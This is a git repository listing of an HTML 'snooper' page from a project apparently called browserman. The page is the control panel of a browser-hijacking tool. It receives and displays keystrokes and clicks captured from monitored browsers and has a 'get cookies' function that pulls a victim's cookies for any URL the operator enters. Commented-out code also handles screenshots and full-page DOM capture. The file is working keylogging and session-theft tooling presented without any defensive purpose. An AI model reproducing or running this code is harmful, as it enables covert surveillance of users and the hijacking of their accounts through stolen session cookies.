add a global readme
[browserman.git] / jssrv / public / snooper.html
1 <!DOCTYPE html>
2 <html>
3   <head>
4     <script src="/socket.io/socket.io.js"></script>
5     <script>
6       var λ = document.getElementById.bind(document)
7       var socket = io.connect(document.location.origin)
8       socket.emit('register_snooper')
9       /*socket.on('screenshot', function(data) {
10         λ('screen_display').src = data.data
11       })*/
12       /*socket.on('fulldom', function(data) {
13         λ('iframe').src = 'data:text/html;charset=utf-8,' + escape(data.data)
14       })*/
15       function keyname(e) {
16         if (e.type === 'keydown') {
17           if (e.keyCode === 8) return '<backspace>'
18           if (e.keyCode === 46) return '<delete>'
19           if (e.keyCode === 13) return '<enter>'
20           if (e.keyCode === 9) return '<tab>'
21         }
22         if (e.type === 'keypress') {
23           return String.fromCharCode(e.charCode)
24         }
25         if (e.type === 'click') {
26           return e.text ? ('<click "'+e.text+'">') : '<click>';
27         }
28         return ''
29       }
30       socket.on('keypress', function(data) {
31         var txt = document.createTextNode(keyname(data))
32         if (txt) λ('inputlog').appendChild(txt)
33       })
34       socket.on('request', function(data) {
35         console.log(data)
36       })
37       
38       function get_cookies() {
39         var url = λ('url_in').value
40         socket.emit('get_url_cookies', {url: url})
41         function maybe_show_cookie(res) {
42           if (res.url !== url) return console.log('mismatch: '+res.url+' vs '+url)
43           socket.removeListener('request', maybe_show_cookie)
44           λ('inputlog').appendChild(document.createElement('br'))
45           λ('inputlog').appendChild(document.createTextNode('cookies for '+url+': '+res.headers.cookie))
46           λ('inputlog').appendChild(document.createElement('br'))
47         }
48         socket.on('request', maybe_show_cookie)
49       }
50     </script>
51   </head>
52   <body>
53     <!-- <img id="screen_display" style="position: absolute; top: 0px; left: 0px"> -->
54     <!-- <iframe id="iframe" style="position: absolute; top: 0px; left: 0px" sandbox
55                  width="100%" height="100%"></iframe> -->
56     <input id="url_in"><button onclick="get_cookies()">get cookies</button>
57     <br>
58     <div id="inputlog" style="">
59   </body>
60 </html>